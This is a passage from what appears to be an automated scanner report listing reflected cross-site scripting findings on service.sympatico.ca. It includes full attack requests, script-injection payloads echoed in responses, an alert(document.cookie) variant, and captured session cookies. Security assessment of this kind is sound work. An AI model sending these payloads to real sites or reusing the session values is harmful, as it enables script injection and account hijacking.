ca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:35 GMT
Connection: close
Set-Cookie: SMSESSION=Xa/OGheYRE4U/v63+B7ua3UAqoyNXY6HHvxB58bl70iJz3yO4h4S4oUkIGFRk88DsjkWw6E9ZY0jlkQ8YqfqyK/T2I0FlZ64zPGoqTyWwHvfjUAzYlvpeRxlVjg7Mt9t0REqRqQFKXwhjj46HnXIevq1C+fQGOhMf53exvOCmbQWrStL78uzd6Dax6w89P/zVw7B8ybip1L60oBzXmBDGUiF3gZ2BIrbuxlazFXzdb5g880GTwhXPe+OLySoL1cEbrozgD4wxnmmPWAWpRoVDr1gSyjSudMEtD7jtMGo+c0F4rkoj+jYQQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:36 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:36 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsd6d9d"><script>alert(1)</script>988d7c76217/jquery.easing.js" />
...[SNIP]...

2.280. https://service.sympatico.ca/js/jquery.easing.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.easing.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9412d"><script>alert(1)</script>6ab663d212c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.easing.js9412d"><script>alert(1)</script>6ab663d212c HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:40 GMT
Connection: close
Set-Cookie: SMSESSION=7i485nVQQrSHJK4jvXTOYwMsYPo77r8d4J9WiHsxxHvybrAcKSsZyrrKNN0piBP0DNzgpMvNlrS0Eyt0KjKsQCN+NdIxGcqF/rM7LvYJAPohMjKdGuHVYr2MBIuXdbEfyRTnQd2+SYjvJcORLT/69bLWR0GzQcU8i5MJZms4edlMarqSauoEnPgVZv4aeEsmnGkGFtIVVmWdOiZTo80WZ3uwi99rXYAc8PtZBQtFSm6Zh3gfuGssTOT69/w3ovs5MEqrtNXCF0/EBzyfnTuPXL6Bm3OOO/L/q2pdqITFDhNwtpYH3/aY+A==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:40 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:40 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
en" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.easing.js9412d"><script>alert(1)</script>6ab663d212c" />
...[SNIP]...

2.281. https://service.sympatico.ca/js/jquery.flash.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.flash.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9248"><script>alert(1)</script>8ad2404205a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsa9248"><script>alert(1)</script>8ad2404205a/jquery.flash.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:54 GMT
Connection: close
Set-Cookie: SMSESSION=NE96DitzH6TYs12wiRPMuatOSMqYjPa4XUI5L5U65bbZGckph2pP3/m9Dau1iFVByYznlD4fXv/mRkx1r/MVBIW30UK9+FAZ+8qvxQboLLa0xtrCT8UKH4YIJOa8jsp2OEktwvO+OrJWjR9IYhQPH+VDGgGT1erIB7EirR4s9j8sBuoErLU4N+y0KgXjnsE8c6XdeltuMahu9SZa2rAadxWYl7O8uDBhG0XK41j0mFzbgf+is6g1iwgfbn0bl9g3VPmniPgcvI/Y2JgovjJgO0Lp3STWLlSoenSjI3Ve9N1MMZ0/WSDLnQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:55 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:55 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsa9248"><script>alert(1)</script>8ad2404205a/jquery.flash.js" />
...[SNIP]...

2.282. https://service.sympatico.ca/js/jquery.flash.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.flash.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7c9b"><script>alert(1)</script>aed88dddd58 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.flash.jsd7c9b"><script>alert(1)</script>aed88dddd58 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrs